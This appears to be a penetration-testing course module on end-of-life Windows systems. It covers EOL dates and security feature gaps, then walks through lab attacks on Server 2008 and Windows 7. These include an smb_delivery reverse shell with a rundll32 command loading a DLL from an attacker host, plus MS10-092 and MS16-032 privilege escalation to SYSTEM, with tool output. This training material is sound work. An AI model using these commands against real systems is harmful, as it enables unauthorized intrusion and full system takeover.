Dealing with End of Life Systems

Legacy Operating Systems

While this module primarily focuses on modern operating systems (Windows 10/Windows Server 2016), as we have seen, certain issues (i.e., vulnerable software, misconfigurations, careless users, etc.) cannot be solved by merely upgrading to the latest and greatest Windows desktop and server versions. That being said, specific security improvements have been made over the years that no longer affect modern, supported versions of the Windows operating system. During our assessments, we will undoubtedly encounter legacy operating systems (especially against large organizations such as universities, hospitals/medical organizations, insurance companies, utilities, state/local government). It is essential to understand the differences and certain additional flaws that we need to check to ensure our assessments are as thorough as possible.

End of Life Systems (EOL)

Over time, Microsoft decides to no longer offer ongoing support for specific operating system versions. When they stop supporting a version of Windows, they stop releasing security updates for the version in question. Windows systems first go into an "extended support" period before being classified as end-of-life or no longer officially supported.

Microsoft continues to create security updates for these systems offered to large organizations through custom long-term support contracts. Below is a list of popular Windows versions and their end of life dates:

Windows Desktop - EOL Dates by Version

Version	Date
Windows XP	April 8, 2014
Windows Vista	April 11, 2017
Windows 7	January 14, 2020
Windows 8	January 12, 2016
Windows 8.1	January 10, 2023
Windows 10 release 1507	May 9, 2017
Windows 10 release 1703	October 9, 2018
Windows 10 release 1809	November 10, 2020
Windows 10 release 1903	December 8, 2020
Windows 10 release 1909	May 11, 2021
Windows 10 release 2004	December 14, 2021
Windows 10 release 20H2	May 10, 2022

Windows Server - EOL Dates by Version

Version	Date
Windows Server 2003	April 8, 2014
Windows Server 2003 R2	July 14, 2015
Windows Server 2008	January 14, 2020
Windows Server 2008 R2	January 14, 2020
Windows Server 2012	October 10, 2023
Windows Server 2012 R2	October 10, 2023
Windows Server 2016	January 12, 2027
Windows Server 2019	January 9, 2029

This page has a more detailed listing of the end-of-life dates for Microsoft Windows and other products such as Exchange, SQL Server, and Microsoft Office, all of which we may run into during our assessments.

Impact

When operating systems are set to end of life and are no longer officially supported, there are many issues that may present themselves:

Issue	Description
Lack of support from software companies	Certain applications (such as web browsers and other essential applications) may cease to work once a version of Windows is no longer officially supported.
Hardware issues	Newer hardware components will likely stop working on legacy systems.
Security flaws	This is the big one with a few notable exceptions (such as CVE-2020-1350 (SIGRed) or EternalBlue (CVE-2017-0144)) which were easily exploitable and "wormable" security flaws which affected thousands of systems worldwide (including critical infrastructure such as hospitals). Microsoft will no longer release security updates for end-of-life systems. This could leave the systems open to remote code execution and privilege escalation flaws that will remain unpatched until the system is upgraded or retired.

In some instances, it is difficult or impossible for an organization to upgrade or retire an end-of-life system due to cost and personnel constraints. The system may be running mission-critical software no longer supported by the original vendor. This is common in medical settings and local government, where the vendor for a critical application goes out of business or no longer provides support for an application, so the organization is stuck running it on a version of Windows XP or even Server 2000/2003. If we discover this during an assessment, it is best to discuss with the client to understand the business reasons why they cannot upgrade or retire the system(s) and suggest solutions such as strict network segmentation to isolate these systems until they can be dealt with appropriately.

As penetration testers, we will often come across legacy operating systems. Though I do not see many hosts running server 2000 or Windows XP workstations vulnerable to MS08-067, they exist, and I come across them on occasion. It is more common to see a few Server 2003 hosts and 2008 hosts. When we come across these systems, they are often vulnerable to one or multiple remote code execution flaws or local privilege escalation vectors. They can be a great foothold into the environment. However, when attacking them, we should always check with the client to ensure they are not fragile hosts running mission-critical applications that could cause a massive outage. There are several security protections in newer Windows operating system versions that do not exist in legacy versions, making our privilege escalation tasks much more straightforward.

There are some notable differences among older and newer versions of Windows operating system versions. While this module aims to teach local privilege escalation techniques that can be used against modern Windows OS versions, we would be remiss in not going over some of the key differences between the most common versions. The core of the module focuses on various versions of Windows 10, Server 2016, and 2019, but let's take a trip down memory lane and analyze both a Windows 7 and a Server 2008 system from the perspective of a penetration tester with the goal of picking out key differences that are crucial during assessments of large environments.

Windows Server

Windows Server 2008/2008 R2 were made end-of-life on January 14, 2020. Over the years, Microsoft has added enhanced security features to subsequent versions of Windows Server. It is not very common to encounter Server 2008 during an external penetration test, but I often encounter it during internal assessments.

Server 2008 vs. Newer Versions

The table below shows some notable differences between Server 2008 and the latest Windows Server versions.

Feature	Server 2008 R2	Server 2012 R2	Server 2016	Server 2019
Enhanced Windows Defender Advanced Threat Protection (ATP)				X
Just Enough Administration	Partial	Partial	X	X
Credential Guard			X	X
Remote Credential Guard			X	X
Device Guard (code integrity)			X	X
AppLocker	Partial	X	X	X
Windows Defender	Partial	Partial	X	X
Control Flow Guard			X	X

Server 2008 Case Study

Often during my assessments, I come across legacy operating system versions, both Windows and Linux. Sometimes these are merely forgotten systems that the client can quickly act on and decommission, while other times, these can be critical systems that can not be easily removed or replaced. Penetration testers need to understand the client's core business and hold discussions during the assessment, especially when dealing with scanning/enumeration and attacking legacy systems, and during the reporting phase.

For example, medical settings may be running mission-critical software on Windows XP/7 or Windows Server 2003/2008 systems. Without understanding the reasoning "why," it is not good enough to merely tell them to remove the systems from the environment.

In this case, we would have to look at other mitigating controls the client has in place, such as network segmentation, custom extended support from Microsoft, etc.

If we are assessing a client with the latest and greatest protections and find one Server 2008 host that was missed, then it may be as simple as recommending to upgrade or decommission. This could also be the case in environments subject to stringent audit/regulatory requirements where a legacy system could get them a "failing" or low score on their audit and even hold up or force them to lose government funding.

For an older OS like Windows Server 2008, we can use an enumeration script like Sherlock to look for missing patches. We can also use something like Windows-Exploit-Suggester, which takes the results of the systeminfo command as an input, and compares the patch level of the host against the Microsoft vulnerability database to detect potential missing patches on the target

Querying Current Patch Level

wmic qfe

A quick Google search of the last installed hotfix shows us that this system is very far out of date.

Running Sherlock

Set-ExecutionPolicy bypass -Scope process

Import-Module .\Sherlock.ps1
Find-AllVulns

Obtaining a Meterpreter Shell

From the output, we can see several missing patches. From here, let's get a Metasploit shell back on the system and attempt to escalate privileges using one of the identified CVEs. First, we need to obtain a Meterpreter reverse shell. We can do this several ways, but one easy way is using the smb_delivery module.

search smb_delivery
use 0
show options
show targets
set target 0
exploit

Rundll Command on Target Host

Open a cmd console on the target host and paste in the rundll32.exe command.

rundll32.exe \\10.10.14.3\lEUZam\test.dll,0

Receiving Reverse Shell

msf6 exploit(windows/smb/smb_delivery) > [*] Sending stage (175174 bytes) to 10.129.43.15
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.129.43.15:49609) at 2021-05-12 15:55:05 -0400

Searching for Local Privilege Escalation Exploit

From here, let's search for the MS10_092 Windows Task Scheduler '.XML' Privilege Escalation module.

search 2010-3338
use 0

Migrating to a 64-bit Process

Before using the module in question, we need to hop into our Meterpreter shell and migrate to a 64-bit process, or the exploit will not work. We could have also chosen an x64 Meterpeter payload during the smb_delivery step.

sessions -i 1
getpid
ps

migrate 2796
background

Setting Privilege Escalation Module Options

Once this is set, we can now set up the privilege escalation module by specifying our current Meterpreter session, setting our tun0 IP for the LHOST, and a call-back port of our choosing.

msf6 exploit(windows/local/ms10_092_schelevator) > set SESSION 1

set lhost 10.10.14.3
set lport 4443
show options

Receiving Elevated Reverse Shell

If all goes to plan, once we type exploit, we will receive a new Meterpreter shell as the NT AUTHORITY\SYSTEM account and can move on to perform any necessary post-exploitation.

exploit

[*] Started reverse TCP handler on 10.10.14.3:4443
[*] Preparing payload at C:\Windows\TEMP\uQEcovJYYHhC.exe
[*] Creating task: isqR4gw3RlxnplB
[*] SUCCESS: The scheduled task "isqR4gw3RlxnplB" has successfully been created.
[*] SCHELEVATOR
[*] Reading the task file contents from C:\Windows\system32\tasks\isqR4gw3RlxnplB...
[*] Original CRC32: 0x89b06d1a
[*] Final CRC32: 0x89b06d1a
[*] Writing our modified content back...
[*] Validating task: isqR4gw3RlxnplB
[*]
[*] Folder: \
[*] TaskName                                 Next Run Time          Status
[*] ======================================== ====================== ===============
[*] isqR4gw3RlxnplB                          6/1/2021 1:04:00 PM    Ready
[*] SCHELEVATOR
[*] Disabling the task...
[*] SUCCESS: The parameters of scheduled task "isqR4gw3RlxnplB" have been changed.
[*] SCHELEVATOR
[*] Enabling the task...
[*] SUCCESS: The parameters of scheduled task "isqR4gw3RlxnplB" have been changed.
[*] SCHELEVATOR
[*] Executing the task...
[*] Sending stage (175174 bytes) to 10.129.43.15
[*] SUCCESS: Attempted to run the scheduled task "isqR4gw3RlxnplB".
[*] SCHELEVATOR
[*] Deleting the task...
[*] Meterpreter session 2 opened (10.10.14.3:4443 -> 10.129.43.15:49634) at 2021-05-12 16:04:34 -0400
[*] SUCCESS: The scheduled task "isqR4gw3RlxnplB" was successfully deleted.
[*] SCHELEVATOR

getuid

Server username: NT AUTHORITY\SYSTEM

Windows Desktop Versions

Windows 7 was made end-of-life on January 14, 2020, but is still in use in many environments.

Windows 7 vs. Newer Versions

Over the years, Microsoft has added enhanced security features to subsequent versions of Windows Desktop. The table below shows some notable differences between Windows 7 and Windows 10.

Feature	Windows 7	Windows 10
Microsoft Password (MFA)		X
BitLocker	Partial	X
Credential Guard		X
Remote Credential Guard		X
Device Guard (code integrity)		X
AppLocker	Partial	X
Windows Defender	Partial	X
Control Flow Guard		X

Windows 7 Case Study

To this date, estimates state that there may be over 100 million users still on Windows 7. According to NetMarketShare, as of November 2020, Windows 7 was the second most used desktop operating system after Windows 10. Windows 7 is standard in large companies across the education, retail, transportation, healthcare, financial, government, and manufacturing sectors.

As discussed in the last section, as penetration testers, we must understand our clients' core business, risk appetite, and limitations that may prevent them from entirely moving off all versions of EOL systems such as Windows 7.

A large retail client may have Windows 7 embedded devices in 100s of their stores running their point of sale (POS) systems. It may not be financially feasible for them to upgrade them all at once, so we may need to work with them to develop solutions to mitigate the risk. A large law firm with one old Windows 7 system may be able to upgrade immediately or even remove it from the network. Context is important.

Let's look at a Windows 7 host that we may uncover in one of the sectors mentioned above. For our Windows 7 target, we can use Sherlock again like in the Server 2008 example, but let's take a look at Windows-Exploit-Suggester

Install Python Dependencies (local VM only)

This tool works on the Pwnbox, but to get it working on a local version of Parrot, we need to do the following to install the necessary dependencies.

sudo wget https://files.pythonhosted.org/packages/28/84/27df240f3f8f52511965979aad7c7b77606f8fe41d4c90f2449e02172bb1/setuptools-2.0.tar.gz
sudo tar -xf setuptools-2.0.tar.gz
cd setuptools-2.0/
sudo python2.7 setup.py install

sudo wget https://files.pythonhosted.org/packages/42/85/25caf967c2d496067489e0bb32df069a8361e1fd96a7e9f35408e56b3aab/xlrd-1.0.0.tar.gz
sudo tar -xf xlrd-1.0.0.tar.gz
cd xlrd-1.0.0/
sudo python2.7 setup.py install

Gathering Systeminfo Command Output

Once this is done, we need to capture the systeminfo command's output and save it to a text file on our attack VM.

systeminfo

Host Name:                 WINLPE-WIN7
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          mrb3n
Registered Organization:
Product ID:                00371-222-9819843-86644
Original Install Date:     3/25/2021, 7:23:47 PM
System Boot Time:          5/13/2021, 5:14:12 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
                           [02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory:         C:\Windows

<SNIP>

Updating the Local Microsoft Vulnerability Database

sudo python2.7 windows-exploit-suggester.py --update

Running Windows Exploit Suggester

python2.7 windows-exploit-suggester.py  --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt 

Suppose we have obtained a Meterpreter shell on our target using the Metasploit framework. In that case, we can also use this local exploit suggester module which will help us quickly find any potential privilege escalation vectors and run them within Metasploit should any module exist.

Looking through the results, we can see a rather extensive list, some Metasploit modules, and some standalone PoC exploits. We must filter through the noise, remove any Denial of Service exploits, and exploits that do not make sense for our target OS. One that stands out immediately as interesting is MS16-032. A detailed explanation of this bug can be found in this Project Zero blog post which is a bug in the Secondary Logon Service.

Exploiting MS16-032 with PowerShell PoC

Let's use a PowerShell PoC to attempt to exploit this and elevate our privileges.

Set-ExecutionPolicy bypass -scope process

Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032

Spawning a SYSTEM Console

whoami

nt authority\system